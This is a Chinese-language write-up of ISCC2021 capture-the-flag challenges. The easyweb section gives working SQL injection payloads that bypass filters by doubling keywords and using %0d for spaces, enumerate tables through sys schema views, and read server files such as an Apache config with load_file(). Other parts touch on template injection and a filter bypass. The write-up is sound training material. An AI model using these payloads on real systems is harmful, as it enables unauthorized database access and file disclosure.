ISCC2021-部分题目再现
@TOC
练武
easyweb
很明显,本题需要进行sql注入但是并不知道注入点
经过测试,判断注入点为:’
闭合符号用%23代替
在后面测试发现空格被过滤了,我们可以使用%0d
进行绕过
尝试使用联合查询发现union,select
,尝试使用双写进行绕过
payload?id=0'%0dununionion%0dselselectect%0d1,2,3%23
得到显示位
根据一贯风格,爆数据库名
1 |
|
然后是爆表名,经过测试发现from、information_schema
同样也被过滤了
1 |
|
构造payload?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23
得到表名
判断列数?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_auto_increment_columns),3%0d%23
表名都是iscc_flag
盲猜列名是:flag
构造payload
1 |
|
进入该页面得到源码进行分析
`<?php
if(isset($_GET[‘c’])){
_GET[‘c’];
if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
exit("die!!");
}else{
echo `$c`;
}
}else{
highlight_file(FILE);
}
?>
似乎没什么发现,26个英文字母表对比一下上述的英文字符zxcvbMnlkjhgfsaoiuytreq
发现没被过滤的字母有dmpw
,执行pwd获取文件路径,
获取flag位置,使用load_file()方法?id=0'%0dununionion%0dseselectlect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%0d%23
或者是?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认
获取网站路径
在源代码中查看flag
tornado
进入三个路径的文件,发现flag.txt中flag在/fllllllllllllaaaaaag中;
welcome.txt中提示render函数
,百度一下存在render函数的模板注入;
hints.txt告诉我们md5(cookie_secret+md5(filename))
发现我们需要进行md5
查看hints.txt的路径
1 |
|
有filehash参数,根据所给出的提示filehasc的值是MD5处理,有了filehash还需要有cookie_secret这一步可以参考之前的题型,有大佬做出明确解释看这里
构造payload
1 |
|
得到cookie_secret,计算hash值
拿到大佬脚本
1 |
|
李华的红包
010Editor打开
1 |
|
尝试了一下,有点像敲击码
最后得到flag:ISCCBFS
海市蜃楼-1
打开文档没什么有用的东西,把文档改成zip形式
点进去查找flag
美人计
打开文件,一张图片格式找到提示信息
很显然这是AES加密,密匙是ISCC2021
打开文档里面有一张二维码,扫描得到信息
1 |
|
进行三次解密得到字符:y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!
很是让人头大!!
试着将word文档改为压缩包,在ny4w1nbmry4m.zip\word\media中看到了两张image
其中一个就是那张二维码,还有另一张二维码,扫描出结果是
1 |
|
但是,进行AES解密失败,所以尝试了DES,即可得到flag
我的折扣是多少
下载好文件后,运行exe文件得到一串编码pass1{\u006b\u0072\u0077}
,Unicode编码,解码后为pass1{krw}
在010Editor打开压缩包在尾部发现
1 |
|
进行base64编码得到:pass2{gcc666}
组合起来用密码:krwgcc666解开压缩包
1 |
|
base64解出来是:youfoundme?
接下来还剩一个MP3格式的文件MP3一般都是用MP3stego解密,接出来密码是youfoundme?
得到ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}
进行base32解密
检查一下
解压后是一张图片,尝试进行binwalk进行分离
解压后的文件,发现有一个文档打开后01的字符串
联想到是01字符串画二维码
先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了
1 |
|
得到二维码扫描
小明的宠物图
下载后是一张图片
用binwalk分离图片得到flag.txt和key.zip
flag.txt中内容为U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==
显然需要密钥解密
打开key.zip发现其中的key.txt只有5字节大小,结合那个兔子说的它需要碰撞应该是crc32碰撞,尝试发现(0_0)为密钥
小明的表情包
可以看到这是凯撒解密,但是偏移量是未知的,通过枚举:发现偏移量为:13时是英文日期,加上提示,年月日可以想到1999,但是月份和日期没有,都是数字,字节为8位可以使用Ziperello进行爆破
得到密码:07071999
然后打开文件时不支持的,所以在winhex中查看,发现它的文件头缺失了,然后补充好,得到图片
擂台
ISCC客服冲冲冲(一)
==可以直接进行改票,但是会被检测到刷票行为==
既然不发进行刷票,那就直接把对方的投票按钮给他关闭!
我们可以通过火狐浏览器F12进入开发者模式,对源码进行修改直接讲对方的投票按钮删除😼
可以看到对方以及在五六十票左右,因此我们需要进入后快速开发者模式,修改后在20s内点到票数超过对方就好了
这是啥
查看源码,发现这是一段JS代码,直接复制代码放到控制台运行
Web01
根据提示进去看一下
这倔强的小脾气,摆明让我们进去看看😏😏39.96.91.106:7040/code/code.txt
1 |
|
对源码进行审计后发现了出题人的小秘密
可以看到要求输入的密码必须小于八位并且数值大于9999999并且最后要加上*-*
根据科学计数法1e9=1000000000> 9999999
因此构造payload:1e9*-*